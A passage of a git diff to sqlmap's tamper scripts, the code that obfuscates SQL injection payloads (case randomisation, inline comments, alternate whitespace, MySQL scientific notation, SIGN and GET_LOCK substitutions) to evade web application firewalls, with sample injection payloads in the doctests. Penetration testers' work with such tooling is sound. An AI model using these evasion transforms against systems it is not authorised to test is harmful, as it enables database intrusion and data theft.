re.search(r"('[^']+'|CHAR\(\d+\))\+.*(?<=\+)('[^']+'|CHAR\(\d+\))", retVal) + if match: + old = match.group(0) + parts = [] + last = 0 + + for index in zeroDepthSearch(old, '+'): + parts.append(old[last:index].strip('+')) + last = index + + parts.append(old[last:].strip('+')) + replacement = parts[0] + + for i in xrange(1, len(parts)): + replacement = "{fn CONCAT(%s,%s)}" % (replacement, parts[i]) + + retVal = retVal.replace(old, replacement) + + return retVal diff --git a/tamper/randomcase.py b/tamper/randomcase.py index a188ff0cce1..9535444cc33 100644 --- a/tamper/randomcase.py +++ b/tamper/randomcase.py @@ -1,13 +1,14 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission """ import re from lib.core.common import randomRange +from lib.core.compat import xrange from lib.core.data import kb from lib.core.enums import PRIORITY @@ -18,13 +19,14 @@ def dependencies(): def tamper(payload, **kwargs): """ - Replaces each keyword character with random case value + Replaces each keyword character with random case value (e.g. SELECT -> SEleCt) Tested against: * Microsoft SQL Server 2005 * MySQL 4, 5.0 and 5.5 * Oracle 10g * PostgreSQL 8.3, 8.4, 9.0 + * SQLite 3 Notes: * Useful to bypass very weak and bespoke web application firewalls @@ -34,16 +36,22 @@ def tamper(payload, **kwargs): >>> import random >>> random.seed(0) >>> tamper('INSERT') - 'INseRt' + 'InSeRt' + >>> tamper('f()') + 'f()' + >>> tamper('function()') + 'FuNcTiOn()' + >>> tamper('SELECT id FROM `user`') + 'SeLeCt id FrOm `user`' """ retVal = payload if payload: - for match in re.finditer(r"[A-Za-z_]+", retVal): + for match in re.finditer(r"\b[A-Za-z_]{2,}\b", retVal): word = match.group() - if word.upper() in kb.keywords: + if (word.upper() in kb.keywords and re.search(r"(?i)[`\"'\[]%s[`\"'\]]" % word, retVal) is None) or ("%s(" % word) in payload: while True: _ = "" @@ -53,6 +61,6 @@ def tamper(payload, **kwargs): if len(_) > 1 and _ not in (_.lower(), _.upper()): break - retVal = retVal.replace(word, _) + retVal = re.sub(r"\b%s\b" % word, _, retVal) return retVal diff --git a/tamper/randomcomments.py b/tamper/randomcomments.py index 6c0894eb152..5e25d073212 100644 --- a/tamper/randomcomments.py +++ b/tamper/randomcomments.py @@ -1,13 +1,14 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission """ import re from lib.core.common import randomRange +from lib.core.compat import xrange from lib.core.data import kb from lib.core.enums import PRIORITY @@ -15,12 +16,12 @@ def tamper(payload, **kwargs): """ - Add random comments to SQL keywords + Inserts random inline comments within SQL keywords (e.g. SELECT -> S/**/E/**/LECT) >>> import random >>> random.seed(0) >>> tamper('INSERT') - 'I/**/N/**/SERT' + 'I/**/NS/**/ERT' """ retVal = payload @@ -44,6 +45,6 @@ def tamper(payload, **kwargs): index = randomRange(1, len(word) - 1) _ = word[:index] + "/**/" + word[index:] - retVal = retVal.replace(word, _) + retVal = re.sub(r"\b%s\b" % word, _, retVal) return retVal diff --git a/tamper/schemasplit.py b/tamper/schemasplit.py new file mode 100644 index 00000000000..07a4b2a7bbe --- /dev/null +++ b/tamper/schemasplit.py @@ -0,0 +1,31 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +import re + +from lib.core.enums import PRIORITY + +__priority__ = PRIORITY.HIGHEST + +def dependencies(): + pass + +def tamper(payload, **kwargs): + """ + Splits FROM schema identifiers (e.g. 'testdb.users') with whitespace (e.g. 'testdb 9.e.users') + + Requirement: + * MySQL + + Notes: + * Reference: https://media.blackhat.com/us-13/US-13-Salgado-SQLi-Optimization-and-Obfuscation-Techniques-Slides.pdf + + >>> tamper('SELECT id FROM testdb.users') + 'SELECT id FROM testdb 9.e.users' + """ + + return re.sub(r"(?i)( FROM \w+)\.(\w+)", r"\g<1> 9.e.\g<2>", payload) if payload else payload diff --git a/tamper/scientific.py b/tamper/scientific.py new file mode 100644 index 00000000000..a9dc194dccf --- /dev/null +++ b/tamper/scientific.py @@ -0,0 +1,35 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +import re + +from lib.core.enums import PRIORITY + +__priority__ = PRIORITY.HIGHEST + +def dependencies(): + pass + +def tamper(payload, **kwargs): + """ + Abuses MySQL scientific notation + + Requirement: + * MySQL + + Notes: + * Reference: https://www.gosecure.net/blog/2021/10/19/a-scientific-notation-bug-in-mysql-left-aws-waf-clients-vulnerable-to-sql-injection/ + + >>> tamper('1 AND ORD(MID((CURRENT_USER()),7,1))>1') + '1 AND ORD 1.e(MID((CURRENT_USER 1.e( 1.e) 1.e) 1.e,7 1.e,1 1.e) 1.e)>1' + """ + + if payload: + payload = re.sub(r"[),.*^/|&]", r" 1.e\g<0>", payload) + payload = re.sub(r"(\w+)\(", lambda match: "%s 1.e(" % match.group(1) if not re.search(r"(?i)\A(MID|CAST|FROM|COUNT)\Z", match.group(1)) else match.group(0), payload) # NOTE: MID and CAST don't work for sure + + return payload diff --git a/tamper/securesphere.py b/tamper/securesphere.py deleted file mode 100644 index ab83f46fcad..00000000000 --- a/tamper/securesphere.py +++ /dev/null @@ -1,27 +0,0 @@ -#!/usr/bin/env python - -""" -Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission -""" - -from lib.core.enums import PRIORITY - -__priority__ = PRIORITY.NORMAL - -def dependencies(): - pass - -def tamper(payload, **kwargs): - """ - Appends special crafted string - - Notes: - * Useful for bypassing Imperva SecureSphere WAF - * Reference: http://seclists.org/fulldisclosure/2011/May/163 - - >>> tamper('1 AND 1=1') - "1 AND 1=1 and '0having'='0having'" - """ - - return payload + " and '0having'='0having'" if payload else payload diff --git a/tamper/sign.py b/tamper/sign.py new file mode 100644 index 00000000000..ff15c5c8e1a --- /dev/null +++ b/tamper/sign.py @@ -0,0 +1,47 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +import re + +from lib.core.enums import PRIORITY + +__priority__ = PRIORITY.HIGHEST + +def dependencies(): + pass + +def tamper(payload, **kwargs): + """ + Replaces greater than operator ('>') with 'SIGN' counterpart (e.g. SIGN((A)-(B))=1) + + Tested against: + * MySQL 5 + * Oracle 11g + * PostgreSQL 9 + * Microsoft SQL Server 2012 + + Notes: + * Useful to bypass filtering of comparison operators altogether (>, <, + >=, <=), as SIGN() needs none of them - only subtraction and '='. + sqlmap's blind inference always compares a numeric ordinal against an + integer literal, so SIGN((A)-(B))=1 is an exact equivalent of A>B + there (no NULL/decimal/date/collation/overflow concerns in that domain) + + >>> tamper('1 AND A > B') + '1 AND SIGN((A)-(B))=1' + """ + + retVal = payload + + if payload: + match = re.search(r"(?i)(\b(AND|OR)\b\s+)([^><]+?)\s*(?<![<>!])>(?!=)\s*(\w+|'[^']+')", payload) + + if match: + _ = "%sSIGN((%s)-(%s))=1" % (match.group(1), match.group(3), match.group(4)) + retVal = retVal.replace(match.group(0), _) + + return retVal diff --git a/tamper/sleep2getlock.py b/tamper/sleep2getlock.py new file mode 100644 index 00000000000..cf2797936a3 --- /dev/null +++ b/tamper/sleep2getlock.py @@ -0,0 +1,39 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +from lib.core.data import kb +from lib.core.enums import PRIORITY + +__priority__ = PRIORITY.HIGHEST + +def dependencies(): + pass + +def tamper(payload, **kwargs): + """ + Replaces instances like 'SLEEP(5)' with (e.g.) "GET_LOCK('ETgP',5)" + + Requirement: + * MySQL + + Tested against: + * MySQL 5.0 and 5.5 + + Notes: + * Useful to bypass very weak and bespoke web application firewalls + that filter the SLEEP() and BENCHMARK() functions + + * Reference: https://zhuanlan.zhihu.com/p/35245598 + + >>> tamper('SLEEP(5)') == "GET_LOCK('%s',5)" % kb.aliasName + True + """ + + if payload: + payload = payload.replace("SLEEP(", "GET_LOCK('%s'," % kb.aliasName) + + return payload diff --git a/tamper/sp_password.py b/tamper/sp_password.py index 959e5025798..95ec9dc489e 100644 --- a/tamper/sp_password.py +++ b/tamper/sp_password.py @@ -1,17 +1,17 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission """ from lib.core.enums import PRIORITY -__priority__ = PRIORITY.HIGH +__priority__ = PRIORITY.LOWEST def tamper(payload, **kwargs): """ - Appends 'sp_password' to the end of the payload for automatic obfuscation from DBMS logs + Appends (MsSQL) function 'sp_password' to the end of the payload for automatic obfuscation from DBMS logs Requirement: * MSSQL diff --git a/tamper/space2comment.py b/tamper/space2comment.py index 399a2c0eedc..016b17cc6c4 100644 --- a/tamper/space2comment.py +++ b/tamper/space2comment.py @@ -1,10 +1,11 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission """ +from lib.core.compat import xrange from lib.core.enums import PRIORITY __priority__ = PRIORITY.LOW @@ -42,10 +43,10 @@ def tamper(payload, **kwargs): retVal += "/**/" continue - elif payload[i] == '\'': + elif payload[i] == '\'' and (i == 0 or payload[i - 1] != '\\'): quote = not quote - elif payload[i] == '"': + elif payload[i] == '"' and (i == 0 or payload[i - 1] != '\\'): doublequote = not doublequote elif payload[i] == " " and not doublequote and not quote: diff --git a/tamper/space2dash.py b/tamper/space2dash.py index cdd828d5693..88ccea33d6e 100644 --- a/tamper/space2dash.py +++ b/tamper/space2dash.py @@ -1,21 +1,21 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission """ import random import string +from lib.core.compat import xrange from lib.core.enums import PRIORITY __priority__ = PRIORITY.LOW def tamper(payload, **kwargs): """ - Replaces space character (' ') with a dash comment ('--') followed by - a random string and a new line ('\n') + Replaces space character (' ') with a dash comment ('--') followed by a random string and a new line ('\n') Requirement: * MSSQL @@ -28,19 +28,29 @@ def tamper(payload, **kwargs): >>> random.seed(0) >>> tamper('1 AND 9227=9227') - '1--nVNaVoPYeva%0AAND--ngNvzqu%0A9227=9227' + '1--upgPydUzKpMX%0AAND--RcDKhIr%0A9227=9227' """ retVal = "" if payload: + quote, doublequote = False, False + for i in xrange(len(payload)): - if payload[i].isspace(): - randomStr = ''.join(random.choice(string.ascii_uppercase + string.ascii_lowercase) for _ in xrange(random.randint(6, 12))) - retVal += "--%s%%0A" % randomStr - elif payload[i] == '#' or payload[i:i + 3] == '-- ': - retVal += payload[i:] - break + if payload[i] == '\'' and (i == 0 or payload[i - 1] != '\\'): + quote = not quote + elif payload[i] == '"' and (i == 0 or payload[i - 1] != '\\'): + doublequote = not doublequote + + if not quote and not doublequote: + if payload[i].isspace(): + randomStr = ''.join(random.choice(string.ascii_uppercase + string.ascii_lowercase) for _ in xrange(random.randint(6, 12))) + retVal += "--%s%%0A" % randomStr + elif payload[i] == '#' or payload[i:i + 3] == '-- ': + retVal += payload[i:] + break + else: + retVal += payload[i] else: retVal += payload[i] diff --git a/tamper/space2hash.py b/tamper/space2hash.py index a50a3a7c22d..cf7ac3323da 100644 --- a/tamper/space2hash.py +++ b/tamper/space2hash.py @@ -1,8 +1,8 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission """ import os @@ -10,6 +10,7 @@ import string from lib.core.common import singleTimeWarnMessage +from lib.core.compat import xrange from lib.core.enums import DBMS from lib.core.enums import PRIORITY @@ -20,8 +21,7 @@ def dependencies(): def tamper(payload, **kwargs): """ - Replaces space character (' ') with a pound character ('#') followed by - a random string and a new line ('\n') + Replaces (MySQL) instances of space character (' ') with a pound character ('#') followed by a random string and a new line ('\n') Requirement: * MySQL @@ -36,19 +36,29 @@ def tamper(payload, **kwargs): >>> random.seed(0) >>> tamper('1 AND 9227=9227') - '1%23nVNaVoPYeva%0AAND%23ngNvzqu%0A9227=9227' + '1%23upgPydUzKpMX%0AAND%23RcDKhIr%0A9227=9227' """ retVal = "" if payload: + quote, doublequote = False, False + for i in xrange(len(payload)): - if payload[i].isspace(): - randomStr = ''.join(random.choice(string.ascii_uppercase + string.ascii_lowercase) for _ in xrange(random.randint(6, 12))) - retVal += "%%23%s%%0A" % randomStr - elif payload[i] == '#' or payload[i:i + 3] == '-- ': - retVal += payload[i:] - break + if payload[i] == '\'' and (i == 0 or payload[i - 1] != '\\'): + quote = not quote + elif payload[i] == '"' and (i == 0 or payload[i - 1] != '\\'): + doublequote = not doublequote + + if not quote and not doublequote: + if payload[i].isspace(): + randomStr = ''.join(random.choice(string.ascii_uppercase + string.ascii_lowercase) for _ in xrange(random.randint(6, 12))) + retVal += "%%23%s%%0A" % randomStr + elif payload[i] == '#' or payload[i:i + 3] == '-- ': + retVal += payload[i:] + break + else: + retVal += payload[i] else: retVal += payload[i] diff --git a/tamper/space2morecomment.py b/tamper/space2morecomment.py new file mode 100644 index 00000000000..9db2791c9f4 --- /dev/null +++ b/tamper/space2morecomment.py @@ -0,0 +1,55 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +from lib.core.compat import xrange +from lib.core.enums import PRIORITY + +__priority__ = PRIORITY.LOW + +def dependencies(): + pass + +def tamper(payload, **kwargs): + """ + Replaces (MySQL) instances of space character (' ') with comments '/**_**/' + + Tested against: + * MySQL 5.0 and 5.5 + + Notes: + * Useful to bypass weak and bespoke web application firewalls + + >>> tamper('SELECT id FROM users') + 'SELECT/**_**/id/**_**/FROM/**_**/users' + """ + + retVal = payload + + if payload: + retVal = "" + quote, doublequote, firstspace = False, False, False + + for i in xrange(len(payload)): + if not firstspace: + if payload[i].isspace(): + firstspace = True + retVal += "/**_**/" + continue + + elif payload[i] == '\'' and (i == 0 or payload[i - 1] != '\\'): + quote = not quote + + elif payload[i] == '"' and (i == 0 or payload[i - 1] != '\\'): + doublequote = not doublequote + + elif payload[i] == " " and not doublequote and not quote: + retVal += "/**_**/" + continue + + retVal += payload[i] + + return retVal diff --git a/tamper/space2morehash.py b/tamper/space2morehash.py index 0dbaf5c2a6b..a079a2ecedd 100644 --- a/tamper/space2morehash.py +++ b/tamper/space2morehash.py @@ -1,16 +1,17 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission """ import os -import re import random +import re import string from lib.core.common import singleTimeWarnMessage +from lib.core.compat import xrange from lib.core.data import kb from lib.core.enums import DBMS from lib.core.enums import PRIORITY @@ -23,8 +24,7 @@ def dependencies(): def tamper(payload, **kwargs): """ - Replaces space character (' ') with a pound character ('#') followed by - a random string and a new line ('\n') + Replaces (MySQL) instances of space character (' ') with a pound character ('#') followed by a random string and a new line ('\n') Requirement: * MySQL >= 5.1.13 @@ -39,7 +39,7 @@ def tamper(payload, **kwargs): >>> random.seed(0) >>> tamper('1 AND 9227=9227') - '1%23ngNvzqu%0AAND%23nVNaVoPYeva%0A%23lujYFWfv%0A9227=9227' + '1%23RcDKhIr%0AAND%23upgPydUzKpMX%0A%23lgbaxYjWJ%0A9227=9227' """ def process(match): @@ -54,15 +54,25 @@ def process(match): retVal = "" if payload: - payload = re.sub(r"(?<=\W)(?P<word>[A-Za-z_]+)(?=\W|\Z)", lambda match: process(match), payload) + payload = re.sub(r"(?:^|(?<=\W))(?P<word>[A-Za-z_]+)(?=[^\w(]|\Z)", process, payload) + + quote, doublequote = False, False for i in xrange(len(payload)): - if payload[i].isspace(): - randomStr = ''.join(random.choice(string.ascii_uppercase + string.ascii_lowercase) for _ in xrange(random.randint(6, 12))) - retVal += "%%23%s%%0A" % randomStr - elif payload[i] == '#' or payload[i:i + 3] == '-- ': - retVal += payload[i:] - break + if payload[i] == '\'' and (i == 0 or payload[i - 1] != '\\'): + quote = not quote + elif payload[i] == '"' and (i == 0 or payload[i - 1] != '\\'): + doublequote = not doublequote + + if not quote and not doublequote: + if payload[i].isspace(): + randomStr = ''.join(random.choice(string.ascii_uppercase + string.ascii_lowercase) for _ in xrange(random.randint(6, 12))) + retVal += "%%23%s%%0A" % randomStr + elif payload[i] == '#' or payload[i:i + 3] == '-- ': + retVal += payload[i:] + break + else: + retVal += payload[i] else: retVal += payload[i] diff --git a/tamper/space2mssqlblank.py b/tamper/space2mssqlblank.py index fc0542f537b..1754e630b09 100644 --- a/tamper/space2mssqlblank.py +++ b/tamper/space2mssqlblank.py @@ -1,14 +1,15 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission """ import os import random from lib.core.common import singleTimeWarnMessage +from lib.core.compat import xrange from lib.core.enums import DBMS from lib.core.enums import PRIORITY @@ -19,8 +20,7 @@ def dependencies(): def tamper(payload, **kwargs): """ - Replaces space character (' ') with a random blank character from a - valid set of alternate characters + Replaces (MsSQL) instances of space character (' ') with a random blank character from a valid set of alternate characters Requirement: * Microsoft SQL Server @@ -34,7 +34,7 @@ def tamper(payload, **kwargs): >>> random.seed(0) >>> tamper('SELECT id FROM users') - 'SELECT%0Eid%0DFROM%07users' + 'SELECT%0Did%0DFROM%04users' """ # ASCII table: @@ -67,10 +67,10 @@ def tamper(payload, **kwargs): retVal += random.choice(blanks) continue - elif payload[i] == '\'': + elif payload[i] == '\'' and (i == 0 or payload[i - 1] != '\\'): quote = not quote - elif payload[i] == '"': + elif payload[i] == '"' and (i == 0 or payload[i - 1] != '\\'): doublequote = not doublequote elif payload[i] == '#' or payload[i:i + 3] == '-- ': diff --git a/tamper/space2mssqlhash.py b/tamper/space2mssqlhash.py index cddfd617941..880fdb8f954 100644 --- a/tamper/space2mssqlhash.py +++ b/tamper/space2mssqlhash.py @@ -1,25 +1,26 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission """ +from lib.core.compat import xrange from lib.core.enums import PRIORITY __priority__ = PRIORITY.LOW def tamper(payload, **kwargs): """ - Replaces space character (' ') with a pound character ('#') followed by - a new line ('\n') + Replaces space character (' ') with a pound character ('#') followed by a new line ('\n') Requirement: - * MSSQL * MySQL Notes: * Useful to bypass several web application firewalls + * The '#' single-line comment used here is MySQL-only (despite this script's legacy name); + T-SQL has no '#' comment, so it does not apply to Microsoft SQL Server >>> tamper('1 AND 9227=9227') '1%23%0AAND%23%0A9227=9227' @@ -28,12 +29,22 @@ def tamper(payload, **kwargs): retVal = "" if payload: + quote, doublequote = False, False + for i in xrange(len(payload)): - if payload[i].isspace(): - retVal += "%23%0A" - elif payload[i] == '#' or payload[i:i + 3] == '-- ': - retVal += payload[i:] - break + if payload[i] == '\'' and (i == 0 or payload[i - 1] != '\\'): + quote = not quote + elif payload[i] == '"' and (i == 0 or payload[i - 1] != '\\'): + doublequote = not doublequote + + if not quote and not doublequote: + if payload[i].isspace(): + retVal += "%23%0A" + elif payload[i] == '#' or payload[i:i + 3] == '-- ': + retVal += payload[i:] + break + else: + retVal += payload[i] else: retVal += payload[i] diff --git a/tamper/space2mysqlblank.py b/tamper/space2mysqlblank.py index a0ac1da687f..ec5b7ffe5dc 100644 --- a/tamper/space2mysqlblank.py +++ b/tamper/space2mysqlblank.py @@ -1,14 +1,15 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission """ import os import random from lib.core.common import singleTimeWarnMessage +from lib.core.compat import xrange from lib.core.enums import DBMS from lib.core.enums import PRIORITY @@ -19,8 +20,7 @@ def dependencies(): def tamper(payload, **kwargs): """ - Replaces space character (' ') with a random blank character from a - valid set of alternate characters + Replaces (MySQL) instances of space character (' ') with a random blank character from a valid set of alternate characters Requirement: * MySQL @@ -33,7 +33,7 @@ def tamper(payload, **kwargs): >>> random.seed(0) >>> tamper('SELECT id FROM users') - 'SELECT%0Bid%0DFROM%0Cusers' + 'SELECT%A0id%0CFROM%0Dusers' """ # ASCII table: @@ -42,7 +42,8 @@ def tamper(payload, **kwargs): # FF 0C new page # CR 0D carriage return # VT 0B vertical TAB (MySQL and Microsoft SQL Server only) - blanks = ('%09', '%0A', '%0C', '%0D', '%0B') + # A0 non-breaking space + blanks = ('%09', '%0A', '%0C', '%0D', '%0B', '%A0') retVal = payload if payload: @@ -56,10 +57,10 @@ def tamper(payload, **kwargs): retVal += random.choice(blanks) continue - elif payload[i] == '\'': + elif payload[i] == '\'' and (i == 0 or payload[i - 1] != '\\'): quote = not quote - elif payload[i] == '"': + elif payload[i] == '"' and (i == 0 or payload[i - 1] != '\\'): doublequote = not doublequote elif payload[i] == " " and not doublequote and not quote: diff --git a/tamper/space2mysqldash.py b/tamper/space2mysqldash.py index 4a4f9821c86..40023493212 100644 --- a/tamper/space2mysqldash.py +++ b/tamper/space2mysqldash.py @@ -1,13 +1,14 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission """ import os from lib.core.common import singleTimeWarnMessage +from lib.core.compat import xrange from lib.core.enums import DBMS from lib.core.enums import PRIORITY @@ -18,15 +19,12 @@ def dependencies(): def tamper(payload, **kwargs): """ - Replaces space character (' ') with a dash comment ('--') followed by - a new line ('\n') + Replaces space character (' ') with a dash comment ('--') followed by a new line ('\n') Requirement: * MySQL * MSSQL - Tested against: - Notes: * Useful to bypass several web application firewalls. @@ -37,12 +35,22 @@ def tamper(payload, **kwargs): retVal = "" if payload: + quote, doublequote = False, False + for i in xrange(len(payload)): - if payload[i].isspace(): - retVal += "--%0A" - elif payload[i] == '#' or payload[i:i + 3] == '-- ': - retVal += payload[i:] - break + if payload[i] == '\'' and (i == 0 or payload[i - 1] != '\\'): + quote = not quote + elif payload[i] == '"' and (i == 0 or payload[i - 1] != '\\'): + doublequote = not doublequote + + if not quote and not doublequote: + if payload[i].isspace(): + retVal += "--%0A" + elif payload[i] == '#' or payload[i:i + 3] == '-- ': + retVal += payload[i:] + break + else: + retVal += payload[i] else: retVal += payload[i] diff --git a/tamper/space2plus.py b/tamper/space2plus.py index 38211026a91..1856b7718f0 100644 --- a/tamper/space2plus.py +++ b/tamper/space2plus.py @@ -1,10 +1,11 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission """ +from lib.core.compat import xrange from lib.core.enums import PRIORITY __priority__ = PRIORITY.LOW @@ -17,8 +18,7 @@ def tamper(payload, **kwargs): Replaces space character (' ') with plus ('+') Notes: - * Is this any useful? The plus get's url-encoded by sqlmap engine - invalidating the query afterwards + * Is this any useful? The plus get's url-encoded by sqlmap engine invalidating the query afterwards * This tamper script works against all databases >>> tamper('SELECT id FROM users') @@ -38,10 +38,10 @@ def tamper(payload, **kwargs): retVal += "+" continue - elif payload[i] == '\'': + elif payload[i] == '\'' and (i == 0 or payload[i - 1] != '\\'): quote = not quote - elif payload[i] == '"': + elif payload[i] == '"' and (i == 0 or payload[i - 1] != '\\'): doublequote = not doublequote elif payload[i] == " " and not doublequote and not quote: diff --git a/tamper/space2randomblank.py b/tamper/space2randomblank.py index 98612534a32..ac86ffc4762 100644 --- a/tamper/space2randomblank.py +++ b/tamper/space2randomblank.py @@ -1,12 +1,13 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission """ import random +from lib.core.compat import xrange from lib.core.enums import PRIORITY __priority__ = PRIORITY.LOW @@ -16,8 +17,7 @@ def dependencies(): def tamper(payload, **kwargs): """ - Replaces space character (' ') with a random blank character from a - valid set of alternate characters + Replaces space character (' ') with a random blank character from a valid set of alternate characters Tested against: * Microsoft SQL Server 2005 @@ -30,7 +30,7 @@ def tamper(payload, **kwargs): >>> random.seed(0) >>> tamper('SELECT id FROM users') - 'SELECT%0Did%0DFROM%0Ausers' + 'SELECT%0Did%0CFROM%0Ausers' """ # ASCII table: @@ -52,10 +52,10 @@ def tamper(payload, **kwargs): retVal += random.choice(blanks) continue - elif payload[i] == '\'': + elif payload[i] == '\'' and (i == 0 or payload[i - 1] != '\\'): quote = not quote - elif payload[i] == '"': + elif payload[i] == '"' and (i == 0 or payload[i - 1] != '\\'): doublequote = not doublequote elif payload[i] == ' ' and not doublequote and not quote: diff --git a/tamper/substring2leftright.py b/tamper/substring2leftright.py new file mode 100644 index 00000000000..9df851a584f --- /dev/null +++ b/tamper/substring2leftright.py @@ -0,0 +1,47 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +import re + +from lib.core.enums import PRIORITY + +__priority__ = PRIORITY.NORMAL + +def dependencies(): + pass + +def tamper(payload, **kwargs): + """ + Replaces PostgreSQL SUBSTRING with LEFT and RIGHT + + Tested against: + * PostgreSQL 9.6.12 + + Note: + * Useful to bypass weak web application firewalls that filter SUBSTRING (but not LEFT and RIGHT) + + >>> tamper('SUBSTRING((SELECT usename FROM pg_user)::text FROM 1 FOR 1)') + 'LEFT((SELECT usename FROM pg_user)::text,1)' + >>> tamper('SUBSTRING((SELECT usename FROM pg_user)::text FROM 3 FOR 1)') + 'LEFT(RIGHT((SELECT usename FROM pg_user)::text,-2),1)' + """ + + retVal = payload + + if payload: + match = re.search(r"SUBSTRING\((.+?)\s+FROM[^)]+(\d+)[^)]+FOR[^)]+1\)", payload) + + if match: + pos = int(match.group(2)) + if pos == 1: + _ = "LEFT(%s,1)" % (match.group(1)) + else: + _ = "LEFT(RIGHT(%s,%d),1)" % (match.group(1), 1 - pos) + + retVal = retVal.replace(match.group(0), _) + + return retVal diff --git a/tamper/symboliclogical.py b/tamper/symboliclogical.py index 152e028ce03..b255baeb163 100644 --- a/tamper/symboliclogical.py +++ b/tamper/symboliclogical.py @@ -1,15 +1,15 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission """ import re from lib.core.enums import PRIORITY -__priority__ = PRIORITY.LOWEST +__priority__ = PRIORITY.HIGHEST def dependencies(): pass diff --git a/tamper/unionalltounion.py b/tamper/unionalltounion.py index 3bb2341410d..c8007d67c17 100644 --- a/tamper/unionalltounion.py +++ b/tamper/unionalltounion.py @@ -1,10 +1,12 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission """ +import re + from lib.core.enums import PRIORITY __priority__ = PRIORITY.HIGHEST @@ -14,10 +16,10 @@ def dependencies(): def tamper(payload, **kwargs): """ - Replaces UNION ALL SELECT with UNION SELECT + Replaces instances of UNION ALL SELECT with UNION SELECT counterpart >>> tamper('-1 UNION ALL SELECT') '-1 UNION SELECT' """ - return payload.replace("UNION ALL SELECT", "UNION SELECT") if payload else payload + return re.sub(r"(?i)UNION\s+ALL\s+SELECT", "UNION SELECT", payload) if payload else payload diff --git a/tamper/unmagicquotes.py b/tamper/unmagicquotes.py index c2bcca8da33..5ccde715b9d 100644 --- a/tamper/unmagicquotes.py +++ b/tamper/unmagicquotes.py @@ -1,12 +1,13 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission """ import re +from lib.core.compat import xrange from lib.core.enums import PRIORITY __priority__ = PRIORITY.NORMAL @@ -16,8 +17,7 @@ def dependencies(): def tamper(payload, **kwargs): """ - Replaces quote character (') with a multi-byte combo %bf%27 together with - generic comment at the end (to make it work) + Replaces quote character (') with a multi-byte combo %BF%27 together with generic comment at the end (to make it work) Notes: * Useful for bypassing magic_quotes/addslashes feature @@ -26,7 +26,7 @@ def tamper(payload, **kwargs): * 